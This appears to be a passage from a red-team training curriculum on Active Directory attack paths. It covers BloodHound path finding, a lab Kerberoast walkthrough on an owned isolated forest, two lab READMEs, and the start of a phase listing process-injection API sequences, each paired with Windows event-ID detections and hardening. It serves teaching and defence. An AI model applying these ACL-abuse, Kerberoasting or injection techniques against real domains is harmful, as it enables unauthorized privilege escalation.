ForceChangePassword (the "Reset Password" extended right) lets you set a victim's password without the
old one and log in as them; GenericAll is full control (reset password, add an SPN to roast, write
msDS-KeyCredentialLink for shadow credentials/PKINIT, etc.); WriteOwner → owner → WriteDacl →
GenericAll. BloodHound shows these as directed edges from your principal to the victim, with abuse info
per edge. Detection is object auditing: 4662/5136 on the target (attribute/SPN/keyCredentialLink/
DACL writes), 4724 for a forced reset, 4728/4732/4756 for group additions. Fix by removing
over-broad ACEs from non-admin principals on privileged objects and alerting on writes to sensitive
attributes.
Q8. You have a foothold user and a SharpHound graph. How do you find the path to DA, choose the
quietest, and tell the client which edge to cut first?
Treat AD as a weighted directed graph: nodes are principals, edges are the abuses, each edge weighted
by attacker effort/detectability. Run Dijkstra from the owned user to the Domain Admins node for
the path of least resistance (not fewest hops — a cheap GenericAll may beat a long chain). Then
compute choke edges (dominators) — edges on every path to DA — and tell the client to cut the
highest-leverage one first (often a stale GenericAll, a help-desk ForceChangePassword, or a
Tier-0 HasSession on a workstation), because removing it severs the most paths at once. Pair every
surviving edge with its detection (4769/RC4, 4662/5136, 4724, 4886/4887) so the SOC keeps a durable
control. That weighted-path + choke-edge + per-edge-detection package — exactly what Lab 01 produces —
is the staff-level deliverable, not "we got DA."
References
- RFC 4120 — The Kerberos Network Authentication Service (V5) — the AS/TGS exchange, tickets, pre-authentication, and encryption types.
- Microsoft
[MS-KILE](Kerberos extensions) and[MS-PAC](the Privilege Attribute Certificate) open specifications; the KB5008380 / KB5014754 PAC-validation and certificate-mapping hardening notes. - SpecterOps research: the original Kerberoasting and AS-REP roasting writeups; An ACE Up the Sleeve (Robbins & Schroeder — DACL/ACE attacks); Certified Pre-Owned (Schroeder & Christensen — ADCS ESC1–ESC8).
- BloodHound documentation — node/edge taxonomy, abuse info, Cypher path queries (
shortestPath). - Microsoft Docs — Kerberos authentication, constrained/resource-based delegation, Protected Users security group, group Managed Service Accounts (gMSA), Windows security audit events (4624, 4662, 4670, 4724, 4728/4732/4756, 4768, 4769, 4776, 4886/4887, 5136).
- PetitPotam (MS-EFSRPC) and PrinterBug (MS-RPRN) coercion research and Microsoft's relay mitigations (SMB signing, LDAP channel binding, EPA).
- MITRE ATT&CK — T1558 (Steal or Forge Kerberos Tickets: .001 golden, .002 silver, .003 Kerberoasting, .004 AS-REP roasting), T1550 (Use Alternate Authentication Material: .002 PtH, .003 PtT), T1207 (Rogue DC / DCShadow), T1649 (Forge/Steal Authentication Certificates), T1098 (Account Manipulation), T1556 (Modify Authentication Process — shadow credentials), T1003.006 (DCSync).
- Windows Internals (Russinovich, Solomon, Ionescu) — tokens, SIDs, and the authentication stack.
Hitchhiker's Guide — Walking an AD Attack Path on an Owned Forest
The operator's range walkthrough for Phase 05. The WARMUP explained the mechanism of every AD identity attack; the labs reason over synthetic directory metadata. This guide is how you safely practice the real workflow on an owned, purpose-built forest — collect with SharpHound, find the path to Domain Admins in BloodHound, demonstrate a single Kerberoast against a lab SPN, then harden (gMSA, AES-only, tiered admin, dangerous-ACL removal) and write the detection — and prove the path is closed.
The boundary, stated once and meant absolutely. Everything here happens on a forest you built, own, and can destroy — a GOAD-style range or your own lab DC — that is network-isolated from home, corporate, and the internet. Never a production domain. Never a domain you do not own. If you cannot name the owner, the scope, the stop conditions, and the deconfliction contact, you do not run the step. This is the same rule as Phase 00.
Table of Contents
- 1. What You Are Building and Why
- 2. The Range — An Owned, Isolated Forest
- 3. Turn On the Telemetry First
- 4. Collect — SharpHound on the Owned Forest
- 5. Find the Path — BloodHound to Domain Admins
- 6. Demonstrate One Kerberoast Against a Lab SPN
- 7. Harden — gMSA, AES-Only, Tiered Admin, Remove Dangerous ACLs
- 8. Write the Detection — 4769 RC4 and Friends
- 9. Verify Effective State, Not Intended Config
- 10. The Evidence Packet
- 11. Teardown and Cost/Safety Controls
- 12. Common False Claims
- 13. Map Back to the Labs
1. What You Are Building and Why
A red team consultant's AD deliverable is not "we got Domain Admin." It is a reproducible package: the path from a foothold to domain dominance, every edge mapped to ATT&CK and to the exact event that detects it, the choke edge to cut first, the hardening that closes the path, and the proof — by re-collection — that the path is gone. This guide produces that package on an owned forest so you can do it for a client (under contract) without ever touching their production domain to learn it.
The loop you will run — and the one the labs encode — is:
authorize → turn on telemetry → collect → graph the path → demonstrate ONE technique safely →
observe the telemetry it emits → harden the mechanism → re-collect → prove the path is closed →
write the durable detection → tear down
2. The Range — An Owned, Isolated Forest
Use a purpose-built vulnerable forest designed for exactly this — GOAD (Game of Active Directory) is the common choice — or build your own minimal forest. Either way:
[ isolated host-only / internal vSwitch — NO route to home/corp/internet ]
| | |
DC01 (forest root) SRV02 (member server) WS01 (Win10/11 client)
AD DS, DNS, KDC a service w/ an SPN the "foothold" workstation
ADCS (optional) unconstrained deleg. SharpHound runs here
| | |
+----------- detection host (Sysmon + WEF/SIEM: Wazuh/Elastic) ----------+
Hard rules (same spirit as the README's range section):
- The forest is owned and isolated. Snapshot every VM before you start so you can roll back.
- No real credentials, no real user data, no production anything — the accounts, SPNs, and ACLs are deliberately seeded weaknesses you put there.
- Decide stop conditions up front (e.g., "stop at one demonstrated Kerberoast and one path to DA; do not pivot to the host OS; do not exfiltrate"). On a client engagement these come from the ROE.
- Keep a deconfliction note: if this were a client, who do you call when an alert fires? Practice writing it even on the range.
3. Turn On the Telemetry First
You cannot claim a detection you never had the logging to see. Before any attack step, enable on the DCs and hosts:
- Kerberos auditing: Audit Kerberos Authentication Service (→ 4768) and Audit Kerberos Service Ticket Operations (→ 4769) — Success and Failure.
- Logon auditing: Audit Logon (→ 4624/4625) and Audit Special Logon (→ 4672).
- Directory Service auditing: Audit Directory Service Access and Changes (→ 4662/5136) and set SACLs on the high-value objects (privileged groups, service accounts, the domain object) so those events actually fire.
- ADCS auditing (if you deployed ADCS): CA auditing for 4886/4887 (request/issue).
- Sysmon on every host (LSASS access = event 10, process create = 1), forwarded via WEF to your SIEM (Wazuh/Elastic) on the detection host.
Expected baseline observation: with the forest idle, you should see routine 4768/4769 from normal logons. Capture this baseline — your detections must distinguish attack from this noise.
4. Collect — SharpHound on the Owned Forest
From the foothold workstation (WS01), running as a normal domain user (this is the point — recon
needs no privilege), run SharpHound to collect the directory graph:
SharpHound → queries LDAP for users, groups, computers, ACLs, SPNs, delegation flags,
and enumerates sessions/local-admin via SMB/RPC → writes a ZIP of JSON
Expected observations (this is itself a detection lesson):
- A burst of LDAP queries from one host asking for everything — all users, groups, computers, ACLs, SPNs. In a real environment this volume/pattern is anomalous and alertable.
- Session/local-admin enumeration generates SMB/RPC traffic to many hosts.
- On the range you will tune a "collection" detection (high-volume LDAP from a single non-admin host; or any touch of a honey object you planted) so you carry a real detection back, not just an attack.
You now have the JSON the labs simulate. (Lab 01's extension ingests exactly this kind of export.)
5. Find the Path — BloodHound to Domain Admins
Ingest the SharpHound JSON into BloodHound and ask the graph the operator question:
- Shortest path from your owned principal to the Domain Admins node (BloodHound's built-in
query, or Cypher
shortestPath). Expect a chain likeWS01-user → (MemberOf) → Help Desk → (ForceChangePassword) → svc_admin → (MemberOf) → Domain Admins, or a delegation/ADCS path you seeded. - Pre-built queries: "Find all Domain Admins," "Shortest paths to Domain Admins," "Find principals with DCSync rights," "Kerberoastable accounts," "Accounts with unconstrained delegation."
Map what BloodHound shows to the labs: each edge BloodHound draws is one of Lab 01's Edge kinds
(MemberOf, ForceChangePassword, AllowedToDelegate, ADCSESC1, DCSync, …). The path of least
resistance and the choke edge are what Lab 01's shortest_path and choke_edges compute over the
synthetic version. Record the path and the choke edge — you'll prove you closed it in step 9.
Expected observation: the graph almost always reveals a path you did not design — that's the lesson of dense, unaudited ACLs.
6. Demonstrate One Kerberoast Against a Lab SPN
Pick one seeded service account on the range (e.g., svc_sql with MSSQLSvc/srv02 and a
deliberately weak password) and demonstrate a single Kerberoast — on the owned forest only, at
minimum proof:
- As a normal user, request a TGS for that SPN (a legitimate Kerberos request).
- Observe the 4769 the DC logs — note Service Name = the SPN and Ticket Encryption Type = 0x17 (RC4).
- Crack the ticket offline against a wordlist that contains the lab password you set — the point is to see the mechanism and the telemetry, not to break strong crypto. Stop the moment you've recovered the lab password.
Expected observations:
- A 4769 with etype 0x17 for the SPN appears in the DC log / SIEM.
- If you roast several SPNs at once, one principal requests many 4769s in a short window — the mass-roast pattern.
- Cracking produces no further AD telemetry (it's offline) — which is exactly why the request (4769/RC4) is the only chance to detect it.
Stop conditions honored: one account, minimum proof, no pivot into the host OS, no lateral movement beyond demonstrating the path. (On a client engagement, this is where the ROE's "demonstrate, don't exploit further" clause lives.)
7. Harden — gMSA, AES-Only, Tiered Admin, Remove Dangerous ACLs
Now do the part that makes you a consultant and not a CTF player — fix the mechanism for each thing you demonstrated, then prove it:
- Kerberoast → gMSA / AES-only. Convert the service account to a group Managed Service Account
(128-char auto-rotated key — uncrackable) or, if a human-managed account is unavoidable, set a
long random password and AES-only (
msDS-SupportedEncryptionTypes= AES) and remove unused SPNs. Never leave an SPN on a privileged account. - The choke edge → remove the dangerous ACL. Delete the over-broad
GenericAll/WriteDacl/ForceChangePassword/AddKeyCredentialLinkACE that the BloodHound path ran through. This is the highest-leverage single change — it should sever the path. - Tiered admin. Enforce that Domain Admins never log on to Tier-2 hosts (workstations/member
servers), so the
HasSession/AdminToedges from Tier-0 to lower tiers disappear; deploy LAPS so a stolen local-admin hash isn't reusable across machines. - Delegation hygiene. Remove unconstrained delegation from any non-DC; put sensitive accounts in Protected Users and mark them "sensitive — cannot be delegated"; tightly control who can write the delegation attributes.
- (If ADCS) ESC1. Disable enrollee-supplied SAN, require manager approval, and restrict enrollment on any client-auth template.
8. Write the Detection — 4769 RC4 and Friends
For the technique you demonstrated, write the durable detection the client keeps. The flagship is the Kerberoast detection:
Detection: Kerberoasting via RC4 service tickets (ATT&CK T1558.003)
Source: Security 4769 (a Kerberos service ticket was requested)
Fire when: Ticket Encryption Type == 0x17 (RC4)
AND the target SPN's account should be AES-only (or is a honey-SPN account)
Escalate: one Account Name requests 4769 for many distinct Service Names in a short window
Tune out: known legacy RC4 services (and migrate them); normal AES (etype 0x12/0x11) traffic
Add the companions for whatever else you demonstrated:
- AS-REP roast: 4768 with Pre-Authentication Type = 0.
- DCSync: 4662 containing the DS-Replication-Get-Changes GUIDs from a non-DC principal.
- DACL abuse / shadow creds: 5136 writes to
servicePrincipalName,msDS-KeyCredentialLink, ormsDS-AllowedToActOnBehalfOfOtherIdentity; 4724 for a forced password reset. - ESC1: 4886/4887 where the SAN ≠ the requester.
- Collection (SharpHound): anomalous high-volume LDAP from a single non-admin host, or any touch of a honey object.
Express each as a Sigma-style rule in your SIEM and confirm it fires on the captured evidence — a detection you haven't seen fire is a hypothesis, not a control.
9. Verify Effective State, Not Intended Config
The discipline that separates a real consultant from a checkbox: prove the effective state, not the intended config. "I converted it to a gMSA" is a claim; re-collect and re-graph is proof.
- Re-run SharpHound and re-open BloodHound. The path you recorded in step 5 should be gone — the Kerberoastable edge no longer exists (gMSA), the choke ACL edge is removed, the delegation flag is cleared.
- Re-attempt the Kerberoast on the now-gMSA account: the 4769 still appears (the request is always allowed), but the etype should be AES and the offline crack should fail — that's the mechanism working, not just a setting changed.
- Confirm legitimate behavior still works: the service still authenticates and runs as the gMSA; normal users still log on. A fix that breaks production is not a fix.
- Confirm the detection fires on the captured attack evidence and does not fire on the baseline from step 3.
Only now can you write "path closed, verified by re-collection; detection fires on evidence; service unaffected."
10. The Evidence Packet
Assemble a sanitized, reproducible packet — the same shape a client report uses:
- The before BloodHound path (foothold → Domain Admins) with each edge's ATT&CK technique.
- The demonstrated technique (one Kerberoast): the 4769/RC4 event, the minimum-proof crack result (lab password only), stop conditions honored.
- The choke edge identified and the hardening applied (gMSA, ACL removal, tiered admin, delegation/ADCS fixes).
- The after BloodHound re-collection showing the path is gone and the re-attempt failing.
- The detection (Sigma-style) with proof it fires on the evidence and not on the baseline.
- A hash of each artifact, with source/time/collector/timezone. No real credentials, no production data, no weaponized artifacts — synthetic/owned only.
This packet is the per-host instance of the Operation Cedar Lattice Phase 05 portfolio artifact.
11. Teardown and Cost/Safety Controls
- Roll back to the pre-engagement snapshots (or destroy and rebuild the forest) when done — never leave a deliberately weakened forest running.
- If any range component is cloud-hosted, set budgets, quotas, alerts, and teardown automation before building, and confirm everything is destroyed after.
- Scrub evidence of anything that shouldn't persist; keep only what's needed to explain and remediate.
- Confirm the range never had a route off the isolated segment.
12. Common False Claims
- "We got Domain Admin, so the forest is owned." Getting DA on a deliberately vulnerable owned range proves you can run the workflow — it is not a finding about a client and not evidence of skill until you also produced the path, the detection, the fix, and the verified closure.
- "gMSA conversion done." Not until you re-collected and the Kerberoastable edge is gone and the re-attempt's crack fails — verify effective state.
- "We have a Kerberoast detection." Not until it fired on the captured 4769/RC4 evidence and stayed quiet on the baseline. A rule that never fired is untested.
- "Silver/golden tickets would show in 4768/4769." Silver tickets never touch the KDC (no central event); golden tickets skip the AS exchange (no 4768). Don't claim a Kerberos-event detection for forgeries that bypass those events — detect them behaviorally and rotate krbtgt twice.
- "Strong passwords fixed Kerberoasting." They raise crack cost; the request still happens and a human password rotates rarely. gMSA + AES-only is the mechanism fix.
- "This is just like a real engagement." It is the workflow, on an owned forest. The boundary that makes a real engagement legal is the contract, scope, and authorization — never reachability.
13. Map Back to the Labs
| Range step (this guide) | Lab that models it |
|---|---|
| Graph the path to Domain Admins; find the quietest route and the choke edge | Lab 01 shortest_path, reachable_high_value, choke_edges |
| Label every path edge with its ATT&CK technique + detection | Lab 01 path_techniques |
| Find Kerberoastable / AS-REP-roastable / delegated / privileged-SPN accounts and rank them | Lab 02 analyze, kerberoastable, asrep_roastable, delegation_risks, privileged_with_spn |
| Pair each finding with its detection (4769/RC4, 4768/no-preauth, 5136) and its hardening | Lab 02 finding detection + hardening fields |
The labs let you build, test, and reason about all of this offline over synthetic data — no forest, no risk. This guide is how you turn that understanding into a verified, reproducible package on a forest you own. The two together are the Phase 05 skill: walk the path, write the detection, cut the choke edge, and prove it.
Lab 01 — Active Directory Attack-Path Solver (BloodHound-style)
Lens: Identity attack paths over the directory graph. WARMUP: Chapter 11 (the BloodHound graph model), with the edge techniques drawn from Chapters 5–10. Engagement tie-in: Operation Cedar Lattice, Phase 05. With a foothold user on a Meridian Freight workstation, you model Meridian's directory as a graph and compute the cheapest, quietest chain of identity abuses from that owned user to Domain Admins — then hand the defender the edges to cut.
The problem
A modern Active Directory forest is not a list of permissions — it is a graph of who-can-do-what-
to-whom. SharpHound collects it; BloodHound walks it. The reason AD intrusions so often end in
total domain compromise is that the graph is dense with abusable relationships nobody audited:
a help-desk group with ForceChangePassword over a service account, a workstation where a Domain
Admin left a session, an object with GenericAll granted "temporarily" three years ago. Each of
these is an edge. Chain enough edges and an unprivileged foothold reaches Domain Admins.
The attacker's question is a shortest-path question — but the cost is not hops, it is attacker
effort and detectability. Reusing a live admin session (HasSession → dump) is cheap but loud;
walking MemberOf group edges is free and silent; cracking a delegated ticket is expensive. The
defender's question is the dual: which edges lie on every path — the choke points — so I cut
the fewest things and break the most paths? This lab answers both over a synthetic directory.
What you build (lab.py)
The edge taxonomy (EDGE_CATALOG), the per-edge-type cost table (DEFAULT_COST), the high-value
set (DEFAULT_HIGH_VALUE), and the Edge dataclass are given. You implement the graph
algorithms:
shortest_path(edges, start, target)→(node_path, edge_path, total_cost)— Dijkstra overEdge.effective_cost();(None, (), inf)if unreachable;((start,), (), 0.0)ifstart == target.path_cost(edges, start, target)→ the total attacker effort of the cheapest path.reachable_high_value(edges, start, high_value=None)→ every reachable high-value target as(target, cheapest_cost), ranked by cost (case-insensitive name match).choke_edges(edges, start, target)→ the(src, dst, kind)edges whose removal disconnects the target — the highest-leverage remediations.path_techniques(edge_path)→ per-step{src, dst, kind, cost, technique, technique_name, detection}so every hop names its ATT&CK technique and the Windows/Kerberos event that detects it.
The edge taxonomy (a slice of the BloodHound model)
| Edge | Abuse | ATT&CK | Detection (the pairing) |
|---|---|---|---|
MemberOf | inherit a group's rights | T1078 | none alone; the granted right is what fires |
AdminTo | local admin → creds of anyone on the host | T1078.002 | 4624 type 3/10 then 4672 on the host |
HasSession | harvest a logged-on user's creds | T1003 | 4624 session; LSASS access (Sysmon 10) |
CanRDP / CanPSRemote | remote interactive / WinRM | T1021.001/.006 | 4624 type 10 / 4778-4779; 5985-5986, PS 4104 |
GenericAll / GenericWrite | full / attribute control of an object | T1098 | 4662 / 5136 on the target object |
WriteDacl / WriteOwner | rewrite the object's ACL | T1222.001 / T1098 | 4670 / 5136 nTSecurityDescriptor write |
ForceChangePassword | reset the victim's password | T1098 | 4724 password reset by another account |
AddMember | add self to a privileged group | T1098 | 4728/4732/4756 member added |
AddKeyCredentialLink | shadow credentials (PKINIT) | T1556 | 5136 msDS-KeyCredentialLink; 4768 PKINIT |
AllowedToDelegate / AllowedToAct | constrained / RBCD delegation abuse | T1558 | 4769 S4U pattern; 5136 RBCD write |
ADCSESC1 | enroll a cert that authenticates as anyone | T1649 | CA 4886/4887 with attacker SAN; 4768 PKINIT |
DCSync | replicate secrets from the DC | T1003.006 | 4662 with DS-Replication-Get-Changes GUIDs |
The cost per edge orders least-resistance paths; lower is quieter. MemberOf is ~free, a
session harvest is moderate, DCSync/cert theft is expensive.
Attack cases the tests cover
- Known path found. A foothold user reaches Domain Admins; the returned node path and edge path are consistent (each edge connects consecutive nodes).
- Weighting picks the quieter path. Given a loud session-harvest route and a quiet
GenericAllroute to the same target, Dijkstra returns the quiet one (the path of least resistance, not fewest hops); a cheaper long path beats an expensive direct edge; an explicit per-edge cost overrides the type default. - Unreachable target returns
(None, (), inf); an isolated component is never reached. - Reachable high-value targets are ranked by cost — Domain Admins (cheap) ranks above KRBTGT (needs an extra DCSync hop).
- Choke edge identified. The single
MemberOfedge into Domain Admins lies on every path and is flagged; theGenericAlledge — which has an alternate route around it — is not a choke. - Technique + detection labeled for every step; an uncatalogued edge kind degrades to a safe
UNKNOWNlabel instead of crashing the solver. - Determinism — identical inputs give identical paths, rankings, and choke sets.
Run
pip install -r requirements.txt
LAB_MODULE=solution pytest -q # reference passes (12 tests)
pytest -q # your implementation after the TODOs
Hardening / detection (the break-the-chain pairing)
choke_edges is the remediation engine: it names the few edges whose removal severs the most
paths to the crown jewels — the help-desk ForceChangePassword, the stale GenericAll, the Domain
Admin's HasSession on a tier-2 box. Cutting a choke edge (remove the dangerous ACE; enforce
tiered admin so DAs never log on to workstations; convert to gMSA so service-account creds
cannot be reset and reused) is worth more than patching ten leaf nodes. path_techniques ties
every surviving edge to the exact telemetry — 4662/5136 for DACL abuse, 4724 for a forced reset,
4769 for delegation, 4886/4887 for ADCS — so the SOC can build the detection for the paths you
cannot cut. The lesson: in AD, remediation is graph surgery, and detection is per-edge.
Extensions (your own isolated, owned range)
- Derive edge cost from real BloodHound signals (session freshness, OS patch level, whether the abuse needs cracking) instead of static type costs.
- Compute a true minimum-cost edge cut (cheapest set of edges to disconnect the high-value set), not just single-edge choke points.
- Add inbound high-value reasoning: rank every owned principal by how many high-value targets it can reach (the "where would an attacker start?" view defenders use to find toxic foothold accounts).
- Ingest a real SharpHound JSON export from an owned, purpose-built GOAD-style forest (see
HITCHHIKERS-GUIDE.md) and solve over it — never a production domain. - Emit a Cypher query equivalent for each found path so a blue team can reproduce it in their own BloodHound instance.
Interview / resume
"Built a BloodHound-style AD attack-path solver: model the directory as a typed, weighted, directed graph; Dijkstra finds the quietest (least-resistance) chain of identity abuses from an owned principal to Domain Admins; choke-edge analysis names the minimum set of dangerous ACLs/sessions a defender must cut; every edge is labeled with its ATT&CK technique and the Windows/Kerberos event that detects it."
Limitations: a single static cost per edge type (real BloodHound weights by exploitability and session freshness); choke edges found by single-edge removal, not a formal min-cut; the edge→technique catalog is a representative slice of the BloodHound taxonomy, not exhaustive; costs are illustrative ordering signals, not measured probabilities; reasons over synthetic directory metadata only — no live AD, no collection, no weaponization.
Lab 02 — Kerberos / Identity Exposure Analyzer
Lens: The directory's Kerberos and identity weaknesses, account-by-account. WARMUP: Chapters 5–8 (the Kerberos dance, Kerberoasting, AS-REP roasting, the three delegations). Engagement tie-in: Operation Cedar Lattice, Phase 05. Lab 01 found the path through Meridian's directory graph; this analyzer finds the exposed accounts that make the path possible — the Kerberoastable service account whose crack opens the first door, the unconstrained-delegation server that hands you a Domain Admin's ticket — and pairs each with its detection and fix.
The problem
Lab 01 walks the directory graph. This lab reads the directory facts and asks the question a red team answers in the first hour and a defender should have answered first: which accounts are exposed, by which technique, and how do I detect and remediate each one? These are the canonical Kerberos and identity weaknesses:
- Kerberoasting (T1558.003) — a user account with a Service Principal Name. Any domain user
can request a service ticket (TGS) for it; the reply is encrypted with the account's
password-derived key, so it can be cracked offline. RC4 encryption plus an old/weak
password makes the crack trivial. A
gMSA(128-char auto-rotated key) is effectively immune. - AS-REP roasting (T1558.004) — an account with Kerberos pre-authentication disabled. The KDC returns an AS-REP encrypted with the account's key without proof of identity, so anyone can request and crack it offline.
- Unconstrained delegation — a computer that caches the TGT of every user who authenticates to it. Compromise it (or coerce a DC to authenticate to it, PetitPotam-style) and you replay a captured TGT, including a Domain Admin's. The single highest-severity delegation flag.
- RBCD-writable — an object whose
msDS-AllowedToActOnBehalfOfOtherIdentityan attacker can write. That grants resource-based constrained delegation: impersonate any user to the object. - Privileged account with an SPN — a Domain/Enterprise Admin (or
adminCount=1) carrying an SPN is a Kerberoastable account whose crack yields domain-level privilege directly — the worst case.
What you build (lab.py)
The Account dataclass, the thresholds (OLD_PASSWORD_DAYS, WEAK_ETYPES), the privileged-group
set, and the _is_privileged / _uses_weak_etype helpers are given. You implement the checks:
kerberoastable(directory)→ findings for SPN user accounts (gMSA exempt); risk rises with RC4, an old password, and privilege.asrep_roastable(directory)→ findings for pre-auth-disabled accounts.delegation_risks(directory)→ unconstrained-delegation computers and RBCD-writable objects.privileged_with_spn(directory)→ the high-value Kerberoast, flagged separately at top risk.analyze(directory)→ all findings, sorted by(risk desc, technique, account, title).
Every finding is a dict carrying at least technique, title, account, risk, detection
(the Kerberos event ids), and hardening (the fix).
Why RC4 vs AES decides the crack
| RC4 (etype 0x17) | AES256 (etype 0x12) | |
|---|---|---|
| Key derivation | NTLM hash (MD4 of the password) — fast | PBKDF2, 4096 iterations + salt — slow |
| Offline crack | billions/sec on a GPU | orders of magnitude slower |
| In a roast | the cheap-crack red flag | makes Kerberoasting expensive, often infeasible |
| Telemetry | 4769 with ticket encryption type 0x17 | 4769 with 0x11/0x12 |
This is why the analyzer ranks an RC4 + old-password Kerberoastable account above an AES + fresh one, and why "AES-only + gMSA" is the durable fix. The detection — 4769 with encryption type 0x17, or a spike of 4769 across many SPNs from one principal — is the SOC's signal that roasting is underway.
Attack cases the tests cover
- Each exposure is detected: an RC4/old-password Kerberoastable account, an AES/fresh one, an AS-REP-roastable (pre-auth-off) account, an unconstrained-delegation computer, an RBCD-writable object, and a privileged account with an SPN.
- The hardened account is clean: a gMSA, AES-only, fresh-password service account and a plain user appear in no finding (no false positives).
- RC4 + old password ranks higher than AES + fresh among Kerberoast findings;
analyzereturns findings sorted by risk descending, top-severity (unconstrained delegation / privileged-SPN) first. - Every finding carries a detection and a hardening string; the 4769/4768/5136 event ids appear where they belong.
- Empty input is handled; output is deterministic.
Run
pip install -r requirements.txt
LAB_MODULE=solution pytest -q # reference passes (11 tests)
pytest -q # your implementation after the TODOs
Hardening / detection (the break-the-chain pairing)
The analyzer is the hardening report. Each finding names the fix at the mechanism level:
- Kerberoast → gMSA (auto-rotated 128-char key) or a long random password + AES-only; remove unused SPNs; never run services as a Domain Admin. Detect 4769 with etype 0x17.
- AS-REP roast → re-enable pre-authentication; if a legacy app forces it off, AES-only + long password + monitor 4768 for the account.
- Unconstrained delegation → remove
TRUSTED_FOR_DELEGATION; move to constrained/RBCD; put DAs in Protected Users and mark them "sensitive — cannot be delegated". - RBCD-writable → audit the object's DACL, remove unexpected write principals, alert on 5136 to
msDS-AllowedToActOnBehalfOfOtherIdentity.
These map straight to the choke edges Lab 01 finds: fixing the exposure removes the graph edge.
Extensions (your own isolated, owned range)
- Parse a real SharpHound/PingCastle/PurpleKnight export from an owned GOAD-style forest and run the same checks over collected facts (never a production domain).
- Add ADCS ESC1–ESC8 template-misconfiguration checks (vulnerable enrollment + SAN supply).
- Add DCSync rights detection (principals with
DS-Replication-Get-Changes-All) and golden- ticket pre-conditions (KRBTGT password age). - Emit Sigma rules for each finding's detection (e.g. 4769 etype 0x17 frequency) so the blue team keeps a durable control.
- Score the whole directory with a single identity-exposure index and trend it across collections.
Interview / resume
"Built a Kerberos/identity exposure analyzer over synthetic directory facts: flags Kerberoastable SPN accounts (ranking RC4 + old-password highest), AS-REP-roastable accounts, unconstrained- delegation and RBCD-writable objects, and privileged accounts carrying SPNs — each finding paired with the exact Kerberos event id that detects it (4769 etype 0x17, 4768, 5136) and the mechanism- level fix (gMSA, AES-only, pre-auth, Protected Users)."
Limitations: a representative set of exposures, not the full SpecterOps/PingCastle catalog; risk scores are ordinal heuristics, not CVSS; encryption-type and password-age thresholds are illustrative defaults; reasons over the given synthetic facts only — it does not collect them, request tickets, or crack anything; no live AD, no weaponization.
Phase 06 — Payload Development & Execution (Detection-Forward)
Operation Cedar Lattice, Phase 06. Phase 05 produced the Active Directory attack-path analysis for Meridian Freight International and identified which accounts, delegation relationships, and DACL edges create a path from the foothold to domain admin. Before executing that path, the engagement needs to load execution capability on the foothold host and stage the tools that the next phases require. This is the payload and execution phase.
This phase is the most detection-forward in the track. Every execution and injection technique is presented as a detection problem: which sensor sees it at which boundary, what the sensor records, and what detection rule catches it. The two labs are an injection-technique detection mapper and a payload-staging analyzer — both reason over synthetic metadata, neither contains weaponized code or shellcode.
Safety (non-negotiable). Authorized security-education only. The labs are detection mappers and staging analyzers over synthetic technique and metadata dicts. There is no shellcode, no working injection code, no reflective loader, no executable payload, and no bypass routine in this repo. Every injection technique is explained as a detection opportunity. This boundary is identical to the
securitytrack and to Phases 00–05.
Why this phase exists
A red team engagement moves capability onto a host before it can execute technique. "Capability" is the code that produces the ATT&CK technique's observable footprint — typically: (a) a process or thread that performs the technique, and (b) the staging artifact that delivers the code to memory.
Understanding how that works is a dual-use skill:
- Red team: choose the execution primitive that matches the engagement's OPSEC requirements and the target environment's detection capability.
- Blue team: understand which sensor covers which execution primitive, identify the gaps, and write the detection that closes them.
The JD requires understanding of "process injection, shellcode execution, C# and PowerShell for implant development." This phase covers the conceptual models — what each technique does to the OS, which sensor sees it, and the detection — not working code. The Phase 07 EDR phase builds directly on this: it uses the injection-technique sensor map from this phase to reason about residual visibility.
Learning Objectives
By the end of this phase you can, without notes:
- Name and explain the six primary injection technique families and the OS primitives each uses:
remote thread injection, APC injection, process hollowing, DLL injection,
reflective DLL injection, and
NtMapViewOfSection-based injection — each with its required API call sequence. - For each technique, state which sensor sees it (ETW-TI for alloc/write/protect/create, kernel callbacks for process/thread, Sysmon EID 1/8/10/7) and the detection rule that fires.
- Explain process hollowing: create a suspended process, unmap its image, write attacker code,
set the entry point via context manipulation, resume. Name the two sensors that catch it
(
CreateProcesswithCREATE_SUSPENDED+WriteProcessMemory+SetThreadContext). - Explain reflective DLL injection: the DLL carries a
ReflectiveLoaderexport that locates its own image in memory, maps it correctly, resolves imports, and callsDllMain— no file on disk, noLoadLibrarycall. Name the sensors: ETW-TIALLOCATE_VIRTUAL_MEMORY, image-load callback on the manually mapped image. - Explain AMSI and where it sits in the execution flow for PowerShell, .NET, and scripting hosts — and the detection for the bypass (Phase 07 detail, but AMSI's role starts here).
- Explain the three staging strategies: disk staging (file on disk, then load), memory-only staging (reflective load from network or another process's memory), and LOLBin staging (use a built-in OS binary to download/execute without writing a file).
- For each staging strategy, state its host and network telemetry and the detection.
- Apply the Pyramid of Pain to execution techniques: a detection on a tool name is bypassed by
renaming; a detection on the
CREATE_SUSPENDED+ cross-process write sequence is not.
The injection-technique sensor map
| Technique | Key API sequence | ETW-TI events | Sysmon events | Detection key |
|---|---|---|---|---|
| Remote thread injection | OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread | ALLOCATE_VIRTUAL_MEMORY, WRITE_VIRTUAL_MEMORY, MAP_VIEW_OF_SECTION | EID 8 (CreateRemoteThread), EID 10 (ProcessAccess with PROCESS_VM_WRITE) | Remote thread creation from non-system process; cross-process write mask |
| APC injection | OpenProcess → VirtualAllocEx → WriteProcessMemory → QueueUserAPC | Same alloc/write events | EID 10 (PROCESS_VM_WRITE + APC flag) | APC queued to alertable thread in another process |
| Process hollowing | CreateProcess(CREATE_SUSPENDED) → NtUnmapViewOfSection → VirtualAllocEx → WriteProcessMemory → SetThreadContext → ResumeThread | ALLOCATE_VIRTUAL_MEMORY, WRITE_VIRTUAL_MEMORY | EID 1 (suspended process), EID 8 or EID 10 | Suspended process creation + cross-process write + thread context set |
| DLL injection | OpenProcess → VirtualAllocEx → WriteProcessMemory (DLL path) → CreateRemoteThread(LoadLibraryA) | WRITE_VIRTUAL_MEMORY | EID 7 (image load in target), EID 8 (CreateRemoteThread to LoadLibraryA RVA) | Image load from unexpected path in target process |
| Reflective DLL | OpenProcess → VirtualAllocEx → WriteProcessMemory (PE blob) → CreateRemoteThread(ReflectiveLoader offset) | ALLOCATE_VIRTUAL_MEMORY, WRITE_VIRTUAL_MEMORY | EID 10, EID 7 (unbacked image load — no file on disk) | Unsigned/unbacked module in target address space |
NtMapViewOfSection | NtCreateSection → NtMapViewOfSection (local) → NtMapViewOfSection (remote) | MAP_VIEW_OF_SECTION on remote process | EID 10 (ProcessAccess) | Cross-process section map with execute permission |
